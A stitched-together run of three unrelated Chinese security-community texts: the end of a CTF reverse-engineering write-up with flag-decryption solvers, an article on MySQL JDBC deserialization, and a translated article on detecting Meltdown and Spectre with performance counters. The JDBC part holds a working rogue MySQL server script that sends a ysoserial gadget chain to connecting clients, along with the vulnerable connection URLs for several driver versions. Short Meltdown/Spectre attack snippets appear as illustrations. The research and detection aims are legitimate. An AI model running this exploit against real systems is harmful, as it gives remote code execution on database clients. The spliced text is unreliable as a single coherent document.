0x64, 0x33, 0x31, 0x36, 0x36, 0x66, 0x32, 0x39, 0x33, 0x65,
0x61, 0x31, 0x35, 0x61, 0x61, 0x32, 0x35, 0x39, 0x32, 0x66,
0x30, 0x36, 0x65, 0x62, 0x36, 0x39, 0x32, 0x39, 0x61, 0x66,
0x30, 0x36, 0x33, 0x37, 0x32, 0x32, 0x61, 0x63, 0x39, 0x66,
0x33, 0x30, 0x61, 0x64, 0x38, 0x35, 0x65, 0x32, 0x63, 0x30,
0x38, 0x37, 0x35, 0x36, 0x34, 0x39, 0x33, 0x31, 0x64, 0x36,
0x61, 0x63, 0x36, 0x35, 0x66, 0x63, 0x64, 0x35, 0x66, 0x62,
0x63, 0x38, 0x36, 0x34, 0x62, 0x33, 0x64, 0x63, 0x39, 0x38,
0x34, 0x31, 0x65, 0x30, 0x33, 0x39, 0x63, 0x36, 0x65, 0x31,
0x64, 0x35, 0x66, 0x62, 0x63, 0x35, 0x63, 0x32, 0x66, 0x38,
0x61, 0x64, 0x66, 0x39, 0x30, 0x61, 0x35, 0x34, 0x37, 0x62,
0x63, 0x34, 0x65, 0x62, 0x63, 0x30, 0x37, 0x64, 0x33, 0x38,
0x37, 0x39, 0x31, 0x34, 0x64, 0x62, 0x32, 0x34, 0x34, 0x35,
0x31, 0x63, 0x32, 0x63, 0x63, 0x38, 0x39, 0x39, 0x32, 0x35,
0x33, 0x35, 0x39, 0x62, 0x64, 0x33, 0x62, 0x62, 0x30, 0x37,
0x35, 0x30, 0x63, 0x37, 0x61, 0x61, 0x62, 0x66, 0x39, 0x64,
0x37, 0x34, 0x33, 0x62, 0x31, 0x38, 0x39, 0x33, 0x65, 0x39,
0x38, 0x62, 0x62, 0x63, 0x38, 0x66, 0x66, 0x37, 0x34, 0x62,
0x32, 0x34, 0x66, 0x63, 0x30, 0x62, 0x34, 0x62, 0x65, 0x32,
0x64, 0x62, 0x61, 0x61, 0x66, 0x31, 0x63, 0x39, 0x31, 0x37,
0x62, 0x62, 0x61, 0x30, 0x31, 0x34, 0x39, 0x36, 0x64, 0x30,
0x36, 0x31, 0x37, 0x66, 0x66, 0x63, 0x33, 0x61, 0x34, 0x61,
0x38, 0x62, 0x37, 0x61, 0x36, 0x65, 0x37, 0x39, 0x61, 0x33,
0x30, 0x33, 0x36, 0x32, 0x39, 0x38, 0x61, 0x36, 0x65, 0x62,
0x66, 0x35, 0x37, 0x62, 0x62, 0x30, 0x30, 0x30, 0x30, 0x31,
0x65, 0x34, 0x33, 0x61, 0x30, 0x62, 0x32, 0x34, 0x32, 0x38,
0x36, 0x34, 0x65, 0x65, 0x62, 0x62, 0x30, 0x66, 0x63, 0x65,
0x63, 0x39, 0x65, 0x33, 0x32, 0x33, 0x31, 0x34, 0x34, 0x64,
0x34, 0x34, 0x34, 0x37, 0x63, 0x38, 0x37, 0x38, 0x34, 0x33,
0x30, 0x66, 0x31, 0x38, 0x65, 0x36, 0x65, 0x33, 0x35, 0x38,
0x61, 0x64, 0x39, 0x37, 0x35, 0x36, 0x36, 0x66, 0x61, 0x30,
0x34, 0x64, 0x31, 0x66, 0x30, 0x37, 0x62, 0x31, 0x37, 0x31,
0x63, 0x31, 0x34, 0x37, 0x36, 0x63, 0x39, 0x61, 0x66, 0x35,
0x61, 0x31, 0x65, 0x62, 0x61, 0x30, 0x62, 0x66, 0x36, 0x36,
0x31, 0x36, 0x65, 0x32, 0x31, 0x39, 0x63, 0x30, 0x62, 0x39,
0x65, 0x31, 0x32, 0x39, 0x39, 0x64, 0x30, 0x39, 0x66, 0x65,
0x63, 0x64, 0x65, 0x64, 0x32, 0x34, 0x61, 0x38, 0x38, 0x30,
0x33, 0x39, 0x37, 0x66, 0x39, 0x32, 0x65, 0x30, 0x66, 0x39,
0x39, 0x64, 0x38, 0x39, 0x35, 0x31, 0x32, 0x32, 0x38, 0x63,
0x37, 0x37, 0x37, 0x30, 0x63, 0x31, 0x38, 0x34, 0x66, 0x64,
0x37, 0x37, 0x61, 0x64, 0x66, 0x66, 0x39, 0x34, 0x33, 0x62,
0x66, 0x63, 0x38, 0x62, 0x36, 0x61, 0x61, 0x35, 0x32, 0x34,
0x63, 0x35, 0x66, 0x30, 0x61, 0x36, 0x64, 0x37, 0x36, 0x38,
0x36, 0x66, 0x65, 0x33, 0x35, 0x34, 0x38, 0x36};
unsigned char flag[] =
{
0xCA, 0xEB, 0x4A, 0x8A, 0x68, 0xE1, 0xA1, 0xEB, 0xE1, 0xEE,
0x6B, 0x84, 0xA2, 0x6D, 0x49, 0xC8, 0x8E, 0x0E, 0xCC, 0xE9,
0x45, 0xCF, 0x23, 0xCC, 0xC5, 0x4C, 0x0C, 0x85, 0xCF, 0xA9,
0x8C, 0xF6, 0xE6, 0xD6, 0x26, 0x6D, 0xAC, 0x0C, 0xAC, 0x77,
0xE0, 0x64};
for(i=0;i<42;i++){
flag[i] = ((flag[i] >> 5) | (flag[i] << 3)) & 0xff;
}
for(i=0;i<42;i++){
flag[i] = flag[i] ^ (sign[327+27*i] + i);
printf("%c", flag[i]);
}
return 0;
}
### Hell’s Gate
首先主动触发异常处理程序，然后到达真实的check函数，其中调用了很多奇怪的函数。
通过改cs寄存器，从32位代码执行环境转换到64位。
发现就是个TEA，不过改了下delta。
#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
void decrypt(unsigned int * v, unsigned int * k)
{
unsigned int y=v[0],z=v[1],sum=0x879379e0,i;
unsigned int delta=0xb879379e;
unsigned int a=k[0],b=k[1],c=k[2],d=k[3];
for(i=0;i<16;i++)
{
z-=((y<<4)+c)^(y+sum)^((y>>5)+d);
y-=((z<<4)+a)^(z+sum)^((z>>5)+b);
sum-=delta;
}
v[0]=y;
v[1]=z;
}
int main()
{
unsigned int data[8]={0x2C94650B,0x78494E9E,0x0E7FACF44,0x48F9DBFB,0x547BB145,0x925D2542,0x69A9F4C4,0x9A96A1D8};
unsigned int key[4]={0x12345678,0x87654321,0x13243546,0x64534231};
for(int i=0;i<8;i+=2)
{
unsigned int *ptr=&(data[i]);
decrypt(ptr,key);
unsigned char *o=(unsigned char *)ptr;
for(int j=0;j<8;j++)
printf("%c",o[j]);
}
}
### mod
有花指令，去掉即可。
有点类似base64，也是三个字节变换成64个字节，然后表代换。
base64_tbl="ABCDFEGH1JKLRSTMNP0VWQUXY2a8cdefijklmnopghwxyqrstuvzOIZ34567b9+/"
enc="2aYcdfL2fS1BTMMF1RSeMTTASS1OJ8RHTJdBYJ2STJfNMSMAYcKUJddp"
data=[]
for c in enc:
data.append(base64_tbl.find(c))
ptr=0
flag=""
while ptr<len(data):
chr0=((data[ptr]<<2)&0xC0)|(data[ptr+1]&0x3)|((data[ptr+2]<<2)&0x30)|(((data[ptr+3]<<2)&0xC0)>>4)
chr1=((data[ptr]<<2)&0x30)|((data[ptr+1]<<2)&0xC0)|(data[ptr+2]&0x3)|(((data[ptr+3]<<2)&0x30)>>2)
chr2=(data[ptr]&0x3)|((data[ptr+1]<<2)&0x30)|((data[ptr+2]<<2)&0xC0)|((data[ptr+3]<<2)&0xC)
flag+=chr(chr0)+chr(chr1)+chr(chr2)
ptr+=4
print(flag)
### ooo
将前4位与“flag”异或，发现异或的值是等差数列，公差为256。
### mod
x=[
6,
268,
513,
775,
1051,
1361,
1619,
1798,
2131,
2389,
2646,
2902,
3155,
3405,
3669,
3920,
4097,
4436,
4685,
4948,
5207,
5463,
5634,
5965,
6226,
6487,
6744,
6914,
7245,
7426,
7767,
8017,
8273,
8528,
8786,
9046,
9222,
9478,
9815,
9985,
10244,
10525]
a1=96
a=[]
for i in range(0,42):
a.append(a1+256*i)
for i in range(0,42):
print(chr(x[i]^a[i]),end="") | 社区文章 |
# 探探JDBC反序列化漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：苏宇@涂鸦智能安全实验室
## 漏洞复现
文章开始，先带大家复现JDBC反序列化漏洞
我修改了原文：<https://xz.aliyun.com/t/8159> 的mysql恶意服务启动代码，如下
# -*- coding:utf-8 -*- import socket
import binascii
import os
import sys
import subprocess
def receive_data(conn):
data = conn.recv(1024)
return str(data).lower()
def send_data(conn,data):
conn.send(binascii.a2b_hex(data))
def trans(s):
return "%s" % ''.join('%.2x' % x for x in s)
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
send_data(conn,"4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400")
while True:
receive_data(conn)
send_data(conn,"0700000200000002000000")
data=receive_data(conn)
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, "0700000200000002000000")
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, "0700000200000002000000")
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3306
popen = subprocess.Popen(['java','-jar', 'ysoserial.jar', 'CommonsCollections7', "open /System/Applications/Calculator.app"], stdout=subprocess.PIPE)
payload_content=trans(popen.stdout.read())
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
python脚本目录下放置：ysoserial.jar即可，具体可根据自己的需要自定义
打exp之前准备3个文件：
* mysql-connector-java-8.0.11.jar
* commons-collections-3.2.1.jar
* JDBCRce.java
JDBCRce代码如下：
import java.sql.*;
public class JDBCRce {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
// String driver = "com.mysql.jdbc.Driver";//
String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";//8.x-8.0.19
// String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";//6.x(属性名不同)
// String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor";//5.1.11及以上的5.x版本（包名没有了cj）5.1.10及以下的5.1.X版本需要连接后执行查询。
// String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?detectCustomCollations=true&autoDeserialize=true"//5.1.29-5.1.40
// String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?autoDeserialize=true"//5.1.28-5.1.19
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
运行python脚本后，再执行
javac -cp .:mysql-connector-java-8.0.19.jar:commons-collections-3.2.1.jar JDBCRce.java
java -cp .:mysql-connector-java-8.0.19.jar:commons-collections-3.2.1.jar JDBCRce
## 漏洞跟踪
1.搜索.readObject
@Override
public Object getObject(int columnIndex) throws SQLException {
... ...
case BLOB:
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
Object obj = data;
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException cnfe) {
throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
+ Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
} catch (IOException ex) {
obj = data; // not serialized?
}
} else {
return getString(columnIndex);
}
}
return obj;
}
return data;
}
return getBytes(columnIndex);
调用getObject的方法
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()
JDBC连接数据库的过程中，会运行查询语句`SHOW SESSION STATUS`
设置`autoDeserialize` 为true,就可以进入到readObject.
## (议题翻译)Java反序列化攻击中的新利用技术
> 这个漏洞是BlackHat Europe 2019会议中Back2Zero Team的议题，我花了点时间翻译了下
### 大纲：
• Java反序列化的介绍
• 常见修复方案
• Java中的严重漏洞
• URLConnection
• JDBC
• Java反序列化的新攻击
• Takeaways
### Java反序列化的介绍
**序列化：**
将Java对象转换为字节流的过程
**反序列化：**
从字节流创建Java对象的相反过程
**如何利用？**
·远程方法调用
·通过网络将对象传输到远程系统
·将对象存储在数据库或本地文件中以利用。
### 攻击场景
1.远程服务接受不可信的数据进行反序列化
2.应用程序的类路径包括可序列化的类
3.可序列化类的回调中存在危险函数
### 魔术回调
魔术方法将在反序列化进程中doing调用
• readObject()
• readExternal()
• readResolve()
• readObjectNoData()
• validateObject()
• finalize()
### 含漏洞的类
public class DiskFileItem extends Serializable
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
OutputStream output = this.getOutputStream();
if (this.cachedContent != null) {
output.write(this.cachedContent);
} else {
FileInputStream input = new FileInputStream(this.dfosFile);
IOUtils.copy(input, output);
this.dfosFile.delete();
this.dfosFile = null;
}
output.close();
this.cachedContent = null;
}
Vulnerable Class
p
### 常见修复方案
**黑名单检查**
在反序列化过程中验证输入流，如果在反序列化过程中找到了黑名单中的类，则反序列化过程将终止
• SerialKiller
• Jackson
• Weblogic
**JEP290 (过滤传入的序列化数据)**
•允许对传入的对象序列化数据流进行过滤，以提高安全性
•定义可以由属性或配置文件配置的全局过滤器。
•在反序列化过程中将调用filter接口方法，以验证要反序列化的类。过滤器返回接受，拒绝或保留未确定，允许或禁止状态的状态。
jre/lib/security/java.security
jdk.serialFilter=pattern;pattern
jdk.serialFilter=!sun.rmi.server.**;
jdk.serialFilter=!org.codehaus.groovy.runtime.**;
jdk.serialFilter=org.apache.commons.beanutils.BeanComparator
jdk.serialFilter=!org.codehaus.groovy.runtime.MethodClosure
**运行时应用程序自我保护（RASP）**
RASP是一种内置或链接到应用程序或应用程序运行时环境中的安全技术，能够控制应用程序的执行并检测和防止实时攻击
**Java-Agent**
•为应用程序提供检测功能的软件组件。
•无需构建模式列表（黑名单）来与有效载荷相匹配，因为它们通过设计提供保护。
•RASP的大多数策略仅集中于不安全的反序列化攻击，这些攻击试图执行命令并使用网络请求提供的输入数据。
### 防御方式的缺陷
•依赖黑名单：找到新的gadget绕过
•安全研究者乐于寻找能够调用危险命令执行功能的gadget，比如Processbuider.exec
•修复方案仅关注常见的微信命令执行功能：如果我们在java中找到一个新的基本向量，那么我们就能发现很多新的gadaget同时绕过大部分修复。
**我们的目标**
•Java中的新向量
•远程命令执行
•基础类
### Java中的严重漏洞
**URLConnection**
•它包含许多方法，可让您与URL进行通信。
•代表应用程序和URL之间的通信链接的所有类的超类。
•大多数Java本机函数或应用程序将使用URLConnection发送HTTP请求。
**通过调用JNI函数，URLConnection最终将调用Windows API
initsecuritycontext，该函数是获取本地Windows凭据的函数。**
**Java的默认行为不会判断URL的有效性，但始终返回true。**
static class DefaultNTLMAuthenticationCallback extends NTLMAuthenticationCallback{
DefaultNTLMAuthenticationCallback() {
public boolean isTrustedSite(URL var1) {
return true;
}
}
### NTLM反射攻击（ CVE-2019-1040）
**NTLM身份验证**
•远程服务的网络身份验证
•质询响应身份验证机制
•Windows上的NTLM安全支持提供程序支持
•NTLMv1 / NTLMv2 / NTLM2会话
•HTTP，SMB，LDAP，MSSQL等
**时间线**
MS08-068
• Patch for SMB->SMB Reflection Attack
• Can not stop Attacker from relaying the Net-NTLM Hash to another machine or
Perform
Cross-Protocol Reflection attack.
MS16-075
• Patch for HTTP->SMB Reflection Attack(HotPotato)
### Java中的严重漏洞
**JDBC**
**Java数据库连接**
**什么是JDBC**
• Java Standard Edition平台的一部分。
• Java API，它定义客户端如何访问数据库。
**为什么用JDBC**
• 建立与数据库的连接。
• 对数据库执行查询并更新语句。
• 从数据库检索结果。
public static void main(String[] args) throws Exception{
String DB_URL = "jdbc:mysql://127.0.0.1:3306/sectest?var=value";
Driver driver = new com.mysql.jdbc.Driver();
//Make a database connection
Connection conn = driver.connect(DB_URL, props);
Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,….);
}
### Java数据库连接
**连接数据库URL**
jdbc://driver://host:端口/database?配置name1=配置Value1&配置name2=配置Value2。。。
**参数**
•配置属性定义了如何与MySQL服务器建立连接。
•配置name=配置Value表示一个可选的属性列表。
•这些属性使您可以指示MySQL连接时执行各种任务。
参数 | 含义
---|---
loadDataLocal | Server asked for stream in response to LOAD DATA LOCAL INFILE
requireSSL | Require server support of SSL connection if useSSL=true
socksProxyHost | Name or IP address of SOCKS host to connect through
useAsyncProtocol | Use asynchronous variant of X Protocol
useServerPrepStmts | Use server-side prepared statements if the server
supports them
allowUrlInLoadLocal | Should the driver allow URLs in ‘LOAD DATA LOCAL INFILE’
statements
**危险参数**
**autoDeserialize**
•驱动程序是否应该自动检测同时对存储在BLOB字段中的对象进行反序列化？
•需要先调用getObject函数。
public Object getObject(int columnIndex) throws SQLException {
……
case BLOB:
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
}
}
}
**queryInterceptors**
QueryInterceptor的实现逗号分隔的列表，应将其放置在执行查询的中间来影响结果
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
•queryInterceptors调用getObject
•autoDeserialize允许反序列化来自服务器的数据
攻击JDBC的步骤
1.攻击者建立了数据库服务
2.攻击者向JDBC URI投毒
3.受害者与攻击者建立JDBC连接
4.将有效载荷返回受害者
合并3个漏洞并导致RCE
1.利用反序列化漏洞触发HTTP请求。
2.URLConnection的NTLM HASH泄漏漏洞（CVE-2019-2426）
3.执行NTLM反射攻击的新技术（CVE-2019-1040）
### 案例
**反序列化漏洞**
**新的受害者**
**1.URLConnection**
•NTLM泄漏（CVE-2019-2426）
•NTLM反射攻击的新技术（CVE-2019-1040）
**2.JDBC**
•Mysql驱动RCE
•JDBC驱动中的NTLM泄漏漏洞
### 建议
**•开发者**
•不要反序列化不受信任的数据
•不要将HTTP请求发送到不受信任的服务器（如果客户端在Windows上）
•不要通过JDBC连接到不受信任的数据库
•加密序列化的字节码
**•安全研究员**
•使用黑名单时，请仔细审核安全策略。尝试使用白名单来减轻风险。
•使用这两个向量对应用程序进行fuzz。
•静态分析可以轻松找到JDBC漏洞。
漏洞悬赏计划：涂鸦智能安全响应中心 (<https://src.tuya.com>) 欢迎白帽子来探索。
招聘内推计划：涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位，简历投递[[email protected]](mailto:[email protected])，请注明来源。 | 社区文章 |
# 如何通过性能计数器检测利用Meltdown和Spectre漏洞的攻击行为
|
##### 译文声明
本文是翻译文章，文章原作者 trend micro，文章来源：趋势科技
原文地址：<https://blog.trendmicro.com/trendlabs-security-intelligence/detecting-attacks-that-exploit-meltdown-and-spectre-with-performance-counters/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
到目前为止，针对[Meltdown以及Spectre](https://blog.trendmicro.com/trendlabs-security-intelligence/speculation-risky-understanding-meltdown-spectre/)漏洞的利用技术仍然停留在[PoC](https://www.techradar.com/news/new-meltdown-and-spectre-exploits-have-been-built-but-arent-in-the-wild-yet)阶段，或者只是处于[实验](https://www.bleepingcomputer.com/news/security/we-may-soon-see-malware-leveraging-the-meltdown-and-spectre-vulnerabilities/)阶段，然而对于攻击者来说，想要完成这种技术的武器化只是一个时间问题。Meltdown以及Spectre漏洞的影响范围非常[广泛](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/meltdown-and-spectre-intel-processor-vulnerabilities-what-you-need-to-know)，甚至可以影响1995年生产的主机。另一方面，如果某些企业处于欧盟的[一般数据保护条例（GDPR）](https://www.trendmicro.com/vinfo/us/security/definition/eu-general-data-protection-regulation-gdpr)范围内，那么这两个漏洞对他们来说也是非常棘手的一个[问题](https://www.trendmicro.com/vinfo/us/security/news/online-privacy/meltdown-and-spectre-patch-or-be-fined-by-gdpr)。
除了打上补丁、更新系统以外，企业或组织还需要制定更多的主动策略，来搜索、检测和响应这一安全威胁，这些策略对诸如Meltdown以及Spectre这样的大规模威胁来说尤为重要。
利用Intel处理器中的性能计数器我们成功研究出一种检测技术，可以检测利用Meltdown以及Spectre漏洞的攻击行为。这种技术可以测量缓存丢失情况（即应用程序所请求的数据没有位于缓存中），根据这些信息来检测利用Meltdown和Spectre漏洞的攻击行为。
现代CPU为了提升工作效率，会以推测方式来执行指令，以避免CPU等待较长时间，充分利用处理器性能，而这种设计中存在一些缺陷，会被一些攻击方法加以利用。
我们希望本文提出的技术可以作为一种补充策略，帮助系统管理员以及信息安全专业人员修复漏洞，也可以作为替代性缓解方法。如果某些系统打上补丁后会出现稳定性以及性能方面的问题，可以考虑采用我们提出的这种技术。
需要注意的是，检测缓存测信道攻击可以作为检测[MeltdownPrime以及SpectrePrime](https://arxiv.org/pdf/1802.03802.pdf)的技术基础。虽然实际参数有所不同，这种技术可以检测Flush
+ Reload、Prime以及Probe攻击。然而，这种方法需要在Linux上操作，我们还没有在Mac系统上测试PoC。
Spectre
SGX（[SgxPectre](https://arxiv.org/pdf/1802.09085.pdf)）的目标是从受保护的enclave（飞地）中窃取信息。根据Intel
[SGX编程参考手册](https://software.intel.com/sites/default/files/managed/48/88/329298-002.pdf)中的描述，性能计数器可能会在SGX
enclave中受到抑制。然而，由于缓存时序攻击（timing attack）会在SGX
enclave之外的不可信代码中执行，性能计数器就会包含缓存命中以及缓存丢失的相关信息。这种情况下依然可能进行检查，但因为还没有经过完全测试，因此我们不能妄下结论。具体参数（如采样率、阈值）会根据具体环境情况有所区别。
## 二、Meltdown及Spectre如何利用推测执行缺陷
CPU在推测执行访问内存的指令时，如果没有具备正确的访问权限，那么缓存测信道攻击就可以获取实际的值，这就是[
**Meltdown**](https://meltdownattack.com/meltdown.pdf)漏洞的大致原理。CPU随后会意识到用户没有具备正确的访问权限，丢弃计算结果。然而，最后一级缓存（LLC）依然保留有一些蛛丝马迹，攻击者可以借此获取内存中的值。
比如，以如下语法/指令为例：
mov rax, [forbiddenAddress]
…
在这种情况下，访问“被禁止”的内存会引发页面错误（page
fault），导致出现SIGSEGV错误信号，默认情况下会结束相关进程。然而，攻击者可以自己注册SIGSEGV（Segmentation
Violation）信号处理函数，在不至于引发主应用崩溃的前提下读取内存数据块。这些信号会在操作系统（OS）中留下一些脚印。
我们可以使用Intel的[Transactional Synchronization
Extensions](https://software.intel.com/en-us/node/524022)（TSX）来消除这些脚印，TSX扩展可以方便处理器检测进程是否需要进行序列化处理。攻击者基本上都会滥用[Restrictive
Transactional Memory](https://software.intel.com/en-us/node/524025)（RTM）接口。比如，攻击者可以编写如下形式的Meltdown攻击代码，这段代码由 _xbegin_ 以及 _xend_
指令进行封装，可以抑制异常信号（不会引发页面错误）。实际上这种方法可以更加隐蔽地利用Meltdown漏洞：
xbegin
mov rax, [forbiddenAddress]
…
xend
[**Spectre**](https://spectreattack.com/spectre.pdf)漏洞利用的是指令推测执行中存在的缺陷。与Meltdown漏洞不同，Spectre会读取条件分支内被禁止的内存。需要注意的是执行过程本不应该进入这个分支。然而，现代CPU会使用分支预测器（branch
predictor）来计算应该进入哪个分支，然后推测执行该分支内的指令。
比如，非常简单的Spectre攻击代码如下所示：
…
mov rax, [rbp-10] // rax eq. 5
mov rbx, [rbp-18] // rbx eq. 4
xor rax, rbx
je no_way
…
ret
no_way:
mov rax, [forbiddenAddress]
攻击者的目标是“训练”分支预测器，使负责判断是否进入条件分支的指令结果出现错误（这里涉及到的指令为XOR指令），从而让处理器推测执行代码中的 _`no-way`_
语句。CPU会发现自己预测错误，然后丢弃执行结果。然而，攻击者可以刺探缓存，获取相关数值。这个场景会在CPU内部中处理，因此不会生成任何页面错误。
与前一种情况类似，现在攻击者可以使用缓存测信道攻击获取正确数值。这种情况下操作系统不会收到任何异常信息。需要注意的是，由于分支预测器存在差异，Spectre漏洞比较难利用，更加依赖具体的CPU。
## 三、利用缓存丢失率检测Meltdown及Spectre攻击
由于存在 _page_fault_
，因此Meltdown会在系统中留下一些蛛丝马迹，我们可以使用内核跟踪技术，捕捉漏洞利用攻击涉及到的相关信号。这种机制可以捕获OS内部的SIGSEGV信号（
_segfaults_ ）。如果某个进程产生太多的 _segfaults_ ，那么就会触发警告。
我们使用Linux
[kprobe](https://www.kernel.org/doc/Documentation/trace/kprobetrace.txt)工具来捕捉
_force_sig_info_
事件来测试这种方法的有效性。可以确认的是，我们可以使用自定义的信号处理函数来检测Meltdown攻击行为。这种情况下误报率非常低，因为一个进程出现太多SIGSEGV信号的确是非常特殊且可疑的情况。然而，如果攻击者使用TSX指令集，不引发SIGSEV信号，那么这种检测方法就无法成功触发警告。
由于CPU的微架构设计存在缺陷，因此Meltdown以及Spectre都可能使用缓存测信道攻击技术来获取实际的值。那么我们能发现这些漏洞攻击行为吗？CPU会使用缓存来减少内存负载的延迟，现代CPU会使用多层缓存结构，从L1缓存开始（最快的缓存），到L3缓存为止（最慢的缓存）。多层缓存带有包含性质，也就是说Li⊂Li+1。
此外，L3缓存也会在多个核心之间共享，其中包含数据以及指令，因此也更加容易受到攻击影响。L3缓存是DRAM（动态随机存取存储器）前的最后一个高速缓存，可以提供到DRAM的映射关系。
图1. 现代CPU的组件，包含多个核心以及L3缓存
如果计算机获取位于内存以及缓存中的值时（缓存命中），所需的访问时间会比从DRAM加载的时间快得多（此时缓存未命中）。攻击者可以借此区分缓存命中以及缓存未命中的情况，这也是这类攻击实现信息传输的基本原理。从逻辑上讲，在攻击过程中缓存未命中的次数会有所增加。然而，我们是否可以测量缓存丢失率来检测这类攻击呢？如何区分恶意行为以及正常行为，避免出现假阳性（false
positive，FP）结果呢？
